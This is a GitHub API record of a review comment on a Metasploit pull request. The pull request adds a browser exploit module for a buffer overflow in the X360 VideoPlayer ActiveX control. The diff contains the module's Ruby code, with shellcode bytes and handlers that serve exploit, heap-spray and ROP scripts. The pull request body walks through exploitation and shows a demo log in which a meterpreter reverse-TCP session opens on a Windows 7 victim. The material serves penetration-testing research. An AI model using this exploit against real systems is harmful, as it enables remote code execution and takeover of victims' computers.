{"action":"created","comment":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments/24286443","id":24286443,"diff_hunk":"@@ -0,0 +1,148 @@\n+##\n+# This module requires Metasploit: http://metasploit.com/download\n+# Current source: https://github.com/rapid7/metasploit-framework\n+##\n+\n+require 'msf/core'\n+\n+class Metasploit3 < Msf::Exploit::Remote\n+  Rank = NormalRanking\n+\n+  include Msf::Exploit::Remote::BrowserExploitServer\n+\n+  def initialize(info={})\n+    super(update_info(info,\n+      'Name'                => \"X360 VideoPlayer ActiveX Control Buffer Overflow\",\n+      'Description'         => %q{\n+        This module exploits a based buffer overflow in the VideoPlayer.ocx ActiveX installed\n+        with the X360 Software. By setting an overly long value to 'ConvertFile()',an attacker\n+        can overrun a .data buffer to bypass ASLR/DEP and finally execute arbitrary code.\n+      },\n+      'License'             => MSF_LICENSE,\n+      'Author'              =>\n+        [\n+          'Rh0',     # vulnerability discovery and exploit, all the hard work\n+          'juan vazquez' # msf module\n+        ],\n+      'References'          =>\n+        [\n+          ['EDB', '35948'],\n+          ['URL', 'https://rh0dev.github.io/blog/2015/fun-with-info-leaks/']\n+        ],\n+      'Payload'             =>\n+        {\n+          'Space'          => 1024,\n+          'DisableNops'    => true,\n+          'PrependEncoder' => stack_adjust\n+        },\n+      'DefaultOptions'      =>\n+        {\n+          'InitialAutoRunScript' => 'migrate -f'\n+        },\n+      'Platform'            => 'win',\n+      'Arch'                => ARCH_X86,\n+      'BrowserRequirements' =>\n+        {\n+          :source  => /script|headers/i,\n+          :clsid   => \"{4B3476C6-185A-4D19-BB09-718B565FA67B}\",\n+          :os_name => OperatingSystems::Match::WINDOWS,\n+          :ua_name => Msf::HttpClients::IE,\n+          :ua_ver  => '10.0'\n+        },\n+      'Targets'             =>\n+        [\n+          [ 'Automatic', {} ]\n+        ],\n+      'Privileged'          => false,\n+      'DisclosureDate'      => \"Jan 30 2015\",\n+      'DefaultTarget'       => 0))\n+  end\n+\n+  def stack_adjust\n+    adjust = \"\\x64\\xa1\\x18\\x00\\x00\\x00\"  # mov eax, fs:[0x18 # get teb\n+    adjust << \"\\x83\\xC0\\x08\"             # add eax, byte 8 # get pointer to stacklimit\n+    adjust << \"\\x8b\\x20\"                 # mov esp, [eax] # put esp at stacklimit\n+    adjust << \"\\x81\\xC4\\x30\\xF8\\xFF\\xFF\" # add esp, -2000 # plus a little offset\n+\n+    adjust\n+  end\n+\n+  def on_request_exploit(cli, request, target_info)\n+    print_status(\"Request: #{request.uri}\")\n+\n+    case request.uri\n+    when /exploit.js/\n+      print_status(\"Sending exploit.js...\")\n+      headers = {'Pragma' => 'no-cache', 'Content-Type'=>'application/javascript'}\n+      send_exploit_html(cli, exploit_template(cli, target_info), headers)\n+    when /sprayer.js/\n+      print_status(\"Sending sprayer.js...\")\n+      headers = {'Pragma' => 'no-cache', 'Content-Type'=>'application/javascript'}\n+      send_exploit_html(cli, sprayer_template(cli, target_info), headers)\n+    when /informer.js/\n+      print_status(\"Sending informer.js...\")\n+      headers = {'Pragma' => 'no-cache', 'Content-Type'=>'application/javascript'}\n+      send_exploit_html(cli, informer_template(cli, target_info), headers)\n+    when /rop_builder.js/\n+      print_status(\"Sending rop_builder.js...\")\n+      headers = {'Pragma' => 'no-cache', 'Content-Type'=>'application/javascript'}\n+      send_exploit_html(cli, rop_builder_template(cli, target_info), headers)\n+    else\n+      print_status(\"Sending main.html...\")\n+      headers = {'Pragma' => 'no-cache', 'Content-Type'=>'text/html'}\n+      send_exploit_html(cli, main_template(cli, target_info), headers)\n+    end\n+  end\n+\n+  def main_template(cli, target_info)\n+    path = ::File.join(Msf::Config.data_directory, 'exploits', 'edb-35948', 'main.html')\n+    f = File.new(path, 'rb')\n+    template = f.read\n+    f.close\n+\n+    return template, binding()\n+  end\n+\n+  def exploit_template(cli, target_info)\n+    shellcode = Rex::Text.to_hex(get_payload(cli, target_info))\n+\n+    path = ::File.join(Msf::Config.data_directory, 'exploits', 'edb-35948', 'js', 'exploit.js')\n+    f = File.new(path, 'rb')\n+    template = strip_comments(f.read)\n+    f.close\n+\n+    return template, binding()\n+  end\n+\n+  def sprayer_template(cli, target_info)\n+    path = ::File.join(Msf::Config.data_directory, 'exploits', 'edb-35948', 'js', 'sprayer.js')\n+    f = File.new(path, 'rb')\n+    template = strip_comments(f.read)\n+    f.close\n+\n+    return template, binding()\n+  end\n+\n+  def informer_template(cli, target_info)\n+    path = ::File.join(Msf::Config.data_directory, 'exploits', 'edb-35948', 'js', 'informer.js')\n+    f = File.new(path, 'rb')\n+    template = strip_comments(f.read)\n+    f.close\n+\n+    return template, binding()\n+  end\n+\n+  def rop_builder_template(cli, target_info)\n+    path = ::File.join(Msf::Config.data_directory, 'exploits', 'edb-35948', 'js', 'rop_builder.js')\n+    f = File.new(path, 'rb')\n+    template = strip_comments(f.read)","path":"modules/exploits/windows/browser/x360_video_player_set_text_bof.rb","position":138,"original_position":138,"commit_id":"a46a53acaf413218c2d38d3a19deb1711adfe43d","original_commit_id":"a46a53acaf413218c2d38d3a19deb1711adfe43d","user":{"login":"jvazquez-r7","id":1742838,"avatar_url":"https://avatars.githubusercontent.com/u/1742838?v=3","gravatar_id":"","url":"https://api.github.com/users/jvazquez-r7","html_url":"https://github.com/jvazquez-r7","followers_url":"https://api.github.com/users/jvazquez-r7/followers","following_url":"https://api.github.com/users/jvazquez-r7/following{/other_user}","gists_url":"https://api.github.com/users/jvazquez-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/jvazquez-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jvazquez-r7/subscriptions","organizations_url":"https://api.github.com/users/jvazquez-r7/orgs","repos_url":"https://api.github.com/users/jvazquez-r7/repos","events_url":"https://api.github.com/users/jvazquez-r7/events{/privacy}","received_events_url":"https://api.github.com/users/jvazquez-r7/received_events","type":"User","site_admin":false},"body":"I can make it block based, of course.","created_at":"2015-02-07T03:30:14Z","updated_at":"2015-02-07T03:30:14Z","html_url":"https://github.com/rapid7/metasploit-framework/pull/4726#discussion_r24286443","pull_request_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/4726","_links":{"self":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments/24286443"},"html":{"href":"https://github.com/rapid7/metasploit-framework/pull/4726#discussion_r24286443"},"pull_request":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/4726"}}},"pull_request":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/4726","id":28841402,"html_url":"https://github.com/rapid7/metasploit-framework/pull/4726","diff_url":"https://github.com/rapid7/metasploit-framework/pull/4726.diff","patch_url":"https://github.com/rapid7/metasploit-framework/pull/4726.patch","issue_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/4726","number":4726,"state":"open","locked":false,"title":"Add module for EDB-35948, X360 Software actvx buffer overflow","user":{"login":"jvazquez-r7","id":1742838,"avatar_url":"https://avatars.githubusercontent.com/u/1742838?v=3","gravatar_id":"","url":"https://api.github.com/users/jvazquez-r7","html_url":"https://github.com/jvazquez-r7","followers_url":"https://api.github.com/users/jvazquez-r7/followers","following_url":"https://api.github.com/users/jvazquez-r7/following{/other_user}","gists_url":"https://api.github.com/users/jvazquez-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/jvazquez-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jvazquez-r7/subscriptions","organizations_url":"https://api.github.com/users/jvazquez-r7/orgs","repos_url":"https://api.github.com/users/jvazquez-r7/repos","events_url":"https://api.github.com/users/jvazquez-r7/events{/privacy}","received_events_url":"https://api.github.com/users/jvazquez-r7/received_events","type":"User","site_admin":false},"body":"Full bug history here: https://rh0dev.github.io/blog/2015/fun-with-info-leaks/\r\n\r\nThe exploit is kinda nice because bypasses ASLR/DEP from a .data buffer overflow. So, it's a nice case study, and worths to have it into the framework I think!\r\n\r\nVerification\r\n----------------\r\n\r\n- [ ] Install Windows 7 SP1\r\n- [ ] Install IE 10\r\n- [ ] Install the vulnerable software. The version I downloaded from: http://www.x360soft.com/demo/videoplayersetup.exe was vulnerable\r\n- [ ] Allow the vulnerable ActiveX to run with IE. Just load any web page using the control and allow IE to use it.\r\n- [ ] From the framework con sole, use the module (see demo)\r\n- [ ] Set srvhost, payload and lhost (see demo)\r\n- [ ] exploit, visit the link from the victim, hopefully get sessions!\r\n\r\nDEMO\r\n---------\r\n\r\n```\r\nmsf > use exploit/windows/browser/x360_video_player_set_text_bof\r\nmsf exploit(x360_video_player_set_text_bof) > set payload windows/meterpreter/reverse_tcp\r\npayload => windows/meterpreter/reverse_tcp\r\nmsf exploit(x360_video_player_set_text_bof) > set lhost 172.16.158.1\r\nlhost => 172.16.158.1\r\nmsf exploit(x360_video_player_set_text_bof) > set srvhost 172.16.158.1\r\nsrvhost => 172.16.158.1\r\nmsf exploit(x360_video_player_set_text_bof) > exploit\r\n[*] Exploit running as background job.\r\n\r\n[*] Started reverse handler on 172.16.158.1:4444\r\nmsf exploit(x360_video_player_set_text_bof) > [*] Using URL: http://172.16.158.1:8080/m82H3OcyvAWMQ\r\n[*] Server started.\r\n[*] 172.16.158.131   x360_video_player_set_text_bof - Gathering target information.\r\n[*] 172.16.158.131   x360_video_player_set_text_bof - Sending response HTML.\r\n[*] 172.16.158.131   x360_video_player_set_text_bof - Request: /m82H3OcyvAWMQ/aLJXQL/\r\n[*] 172.16.158.131   x360_video_player_set_text_bof - Sending main.html...\r\n[*] 172.16.158.131   x360_video_player_set_text_bof - Request: /m82H3OcyvAWMQ/aLJXQL/js/exploit.js\r\n[*] 172.16.158.131   x360_video_player_set_text_bof - Sending exploit.js...\r\n[*] 172.16.158.131   x360_video_player_set_text_bof - Request: /m82H3OcyvAWMQ/aLJXQL/js/sprayer.js\r\n[*] 172.16.158.131   x360_video_player_set_text_bof - Sending sprayer.js...\r\n[*] 172.16.158.131   x360_video_player_set_text_bof - Request: /m82H3OcyvAWMQ/aLJXQL/js/informer.js\r\n[*] 172.16.158.131   x360_video_player_set_text_bof - Sending informer.js...\r\n[*] 172.16.158.131   x360_video_player_set_text_bof - Request: /m82H3OcyvAWMQ/aLJXQL/js/rop_builder.js\r\n[*] 172.16.158.131   x360_video_player_set_text_bof - Sending rop_builder.js...\r\n[*] Sending stage (770048 bytes) to 172.16.158.131\r\n[*] Meterpreter session 1 opened (172.16.158.1:4444 -> 172.16.158.131:49171) at 2015-02-06 14:56:26 -0600\r\n[*] Session ID 1 (172.16.158.1:4444 -> 172.16.158.131:49171) processing InitialAutoRunScript 'migrate -f'\r\n[*] Current server process: iexplore.exe (3180)\r\n[*] Spawning notepad.exe process to migrate to\r\n[+] Migrating to 3556\r\n[*] 172.16.158.131   x360_video_player_set_text_bof - Request: /m82H3OcyvAWMQ/aLJXQL/\r\n[*] 172.16.158.131   x360_video_player_set_text_bof - Sending main.html...\r\n[+] Successfully migrated to process\r\n\r\nmsf exploit(x360_video_player_set_text_bof) > sessions -i 1\r\n[*] Starting interaction with 1...\r\n\r\nmeterpreter > getuid\r\nServer username: WIN-RNJ7NBRK9L7\\Juan Vazquez\r\nmeterpreter > sysinfo\r\nComputer        : WIN-RNJ7NBRK9L7\r\nOS              : Windows 7 (Build 7601, Service Pack 1).\r\nArchitecture    : x86\r\nSystem Language : en_US\r\nMeterpreter     : x86/win32\r\nmeterpreter > exit\r\n[*] Shutting down Meterpreter...\r\n\r\n[*] 172.16.158.131 - Meterpreter session 1 closed.  Reason: User exit\r\n```","created_at":"2015-02-06T20:58:19Z","updated_at":"2015-02-07T03:30:14Z","closed_at":null,"merged_at":null,"merge_commit_sha":"26642a08a03c6d0f21161325f4cd82aa6d56d046","assignee":{"login":"wchen-r7","id":1170914,"avatar_url":"https://avatars.githubusercontent.com/u/1170914?v=3","gravatar_id":"","url":"https://api.github.com/users/wchen-r7","html_url":"https://github.com/wchen-r7","followers_url":"https://api.github.com/users/wchen-r7/followers","following_url":"https://api.github.com/users/wchen-r7/following{/other_user}","gists_url":"https://api.github.com/users/wchen-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/wchen-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wchen-r7/subscriptions","organizations_url":"https://api.github.com/users/wchen-r7/orgs","repos_url":"https://api.github.com/users/wchen-r7/repos","events_url":"https://api.github.com/users/wchen-r7/events{/privacy}","received_events_url":"https://api.github.com/users/wchen-r7/received_events","type":"User","site_admin":false},"milestone":null,"commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/4726/commits","review_comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/4726/comments","review_comment_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments/{number}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/4726/comments","statuses_url":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/a46a53acaf413218c2d38d3a19deb1711adfe43d","head":{"label":"jvazquez-r7:edb_35948","ref":"edb_35948","sha":"a46a53acaf413218c2d38d3a19deb1711adfe43d","user":{"login":"jvazquez-r7","id":1742838,"avatar_url":"https://avatars.githubusercontent.com/u/1742838?v=3","gravatar_id":"","url":"https://api.github.com/users/jvazquez-r7","html_url":"https://github.com/jvazquez-r7","followers_url":"https://api.github.com/users/jvazquez-r7/followers","following_url":"https://api.github.com/users/jvazquez-r7/following{/other_user}","gists_url":"https://api.github.com/users/jvazquez-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/jvazquez-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jvazquez-r7/subscriptions","organizations_url":"https://api.github.com/users/jvazquez-r7/orgs","repos_url":"https://api.github.com/users/jvazquez-r7/repos","events_url":"https://api.github.com/users/jvazquez-r7/events{/privacy}","received_events_url":"https://api.github.com/users/jvazquez-r7/received_events","type":"User","site_admin":false},"repo":{"id":6786012,"name":"metasploit-framework","full_name":"jvazquez-r7/metasploit-framework","owner":{"login":"jvazquez-r7","id":1742838,"avatar_url":"https://avatars.githubusercontent.com/u/1742838?v=3","gravatar_id":"","url":"https://api.github.com/users/jvazquez-r7","html_url":"https://github.com/jvazquez-r7","followers_url":"https://api.github.com/users/jvazquez-r7/followers","following_url":"https://api.github.com/users/jvazquez-r7/following{/other_user}","gists_url":"https://api.github.com/users/jvazquez-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/jvazquez-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jvazquez-r7/subscriptions","organizations_url":"https://api.github.com/users/jvazquez-r7/orgs","repos_url":"https://api.github.com/users/jvazquez-r7/repos","events_url":"https://api.github.com/users/jvazquez-r7/events{/privacy}","received_events_url":"https://api.github.com/users/jvazquez-r7/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/jvazquez-r7/metasploit-framework","description":"Metasploit Framework","fork":true,"url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework","forks_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/forks","keys_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/teams","hooks_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/hooks","issue_events_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/issues/events{/number}","events_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/events","assignees_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/assignees{/user}","branches_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/branches{/branch}","tags_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/tags","blobs_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/git/refs{/sha}","trees_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/statuses/{sha}","languages_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/languages","stargazers_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/stargazers","contributors_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/contributors","subscribers_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/subscribers","subscription_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/subscription","commits_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/commits{/sha}","git_commits_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/git/commits{/sha}","comments_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/comments{/number}","issue_comment_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/issues/comments/{number}","contents_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/contents/{+path}","compare_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/merges","archive_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/downloads","issues_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/issues{/number}","pulls_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/pulls{/number}","milestones_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/milestones{/number}","notifications_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/labels{/name}","releases_url":"https://api.github.com/repos/jvazquez-r7/metasploit-framework/releases{/id}","created_at":"2012-11-20T22:07:34Z","updated_at":"2015-02-06T22:45:50Z","pushed_at":"2015-02-06T22:45:50Z","git_url":"git://github.com/jvazquez-r7/metasploit-framework.git","ssh_url":"git@github.com:jvazquez-r7/metasploit-framework.git","clone_url":"https://github.com/jvazquez-r7/metasploit-framework.git","svn_url":"https://github.com/jvazquez-r7/metasploit-framework","homepage":"http://www.metasploit.com/","size":686641,"stargazers_count":4,"watchers_count":4,"language":"Ruby","has_issues":false,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":3,"mirror_url":null,"open_issues_count":0,"forks":3,"open_issues":0,"watchers":4,"default_branch":"master"}},"base":{"label":"rapid7:master","ref":"master","sha":"036cb77dd094b9dae6307efd95633932732e80d4","user":{"login":"rapid7","id":1013671,"avatar_url":"https://avatars.githubusercontent.com/u/1013671?v=3","gravatar_id":"","url":"https://api.github.com/users/rapid7","html_url":"https://github.com/rapid7","followers_url":"https://api.github.com/users/rapid7/followers","following_url":"https://api.github.com/users/rapid7/following{/other_user}","gists_url":"https://api.github.com/users/rapid7/gists{/gist_id}","starred_url":"https://api.github.com/users/rapid7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rapid7/subscriptions","organizations_url":"https://api.github.com/users/rapid7/orgs","repos_url":"https://api.github.com/users/rapid7/repos","events_url":"https://api.github.com/users/rapid7/events{/privacy}","received_events_url":"https://api.github.com/users/rapid7/received_events","type":"Organization","site_admin":false},"repo":{"id":2293158,"name":"metasploit-framework","full_name":"rapid7/metasploit-framework","owner":{"login":"rapid7","id":1013671,"avatar_url":"https://avatars.githubusercontent.com/u/1013671?v=3","gravatar_id":"","url":"https://api.github.com/users/rapid7","html_url":"https://github.com/rapid7","followers_url":"https://api.github.com/users/rapid7/followers","following_url":"https://api.github.com/users/rapid7/following{/other_user}","gists_url":"https://api.github.com/users/rapid7/gists{/gist_id}","starred_url":"https://api.github.com/users/rapid7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rapid7/subscriptions","organizations_url":"https://api.github.com/users/rapid7/orgs","repos_url":"https://api.github.com/users/rapid7/repos","events_url":"https://api.github.com/users/rapid7/events{/privacy}","received_events_url":"https://api.github.com/users/rapid7/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/rapid7/metasploit-framework","description":"Metasploit Framework","fork":false,"url":"https://api.github.com/repos/rapid7/metasploit-framework","forks_url":"https://api.github.com/repos/rapid7/metasploit-framework/forks","keys_url":"https://api.github.com/repos/rapid7/metasploit-framework/keys{/key_id}","collaborators_url":"https://api.github.com/repos/rapid7/metasploit-framework/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/rapid7/metasploit-framework/teams","hooks_url":"https://api.github.com/repos/rapid7/metasploit-framework/hooks","issue_events_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/events{/number}","events_url":"https://api.github.com/repos/rapid7/metasploit-framework/events","assignees_url":"https://api.github.com/repos/rapid7/metasploit-framework/assignees{/user}","branches_url":"https://api.github.com/repos/rapid7/metasploit-framework/branches{/branch}","tags_url":"https://api.github.com/repos/rapid7/metasploit-framework/tags","blobs_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/refs{/sha}","trees_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/trees{/sha}","statuses_url":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/{sha}","languages_url":"https://api.github.com/repos/rapid7/metasploit-framework/languages","stargazers_url":"https://api.github.com/repos/rapid7/metasploit-framework/stargazers","contributors_url":"https://api.github.com/repos/rapid7/metasploit-framework/contributors","subscribers_url":"https://api.github.com/repos/rapid7/metasploit-framework/subscribers","subscription_url":"https://api.github.com/repos/rapid7/metasploit-framework/subscription","commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/commits{/sha}","git_commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/commits{/sha}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/comments{/number}","issue_comment_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/comments/{number}","contents_url":"https://api.github.com/repos/rapid7/metasploit-framework/contents/{+path}","compare_url":"https://api.github.com/repos/rapid7/metasploit-framework/compare/{base}...{head}","merges_url":"https://api.github.com/repos/rapid7/metasploit-framework/merges","archive_url":"https://api.github.com/repos/rapid7/metasploit-framework/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/rapid7/metasploit-framework/downloads","issues_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues{/number}","pulls_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls{/number}","milestones_url":"https://api.github.com/repos/rapid7/metasploit-framework/milestones{/number}","notifications_url":"https://api.github.com/repos/rapid7/metasploit-framework/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/rapid7/metasploit-framework/labels{/name}","releases_url":"https://api.github.com/repos/rapid7/metasploit-framework/releases{/id}","created_at":"2011-08-30T06:13:20Z","updated_at":"2015-02-07T00:25:10Z","pushed_at":"2015-02-07T00:52:44Z","git_url":"git://github.com/rapid7/metasploit-framework.git","ssh_url":"git@github.com:rapid7/metasploit-framework.git","clone_url":"https://github.com/rapid7/metasploit-framework.git","svn_url":"https://github.com/rapid7/metasploit-framework","homepage":"http://www.metasploit.com/","size":1240383,"stargazers_count":3292,"watchers_count":3292,"language":"Ruby","has_issues":true,"has_downloads":true,"has_wiki":true,"has_pages":true,"forks_count":2760,"mirror_url":null,"open_issues_count":201,"forks":2760,"open_issues":201,"watchers":3292,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/4726"},"html":{"href":"https://github.com/rapid7/metasploit-framework/pull/4726"},"issue":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/issues/4726"},"comments":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/issues/4726/comments"},"review_comments":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/4726/comments"},"review_comment":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments/{number}"},"commits":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/4726/commits"},"statuses":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/a46a53acaf413218c2d38d3a19deb1711adfe43d"}}}}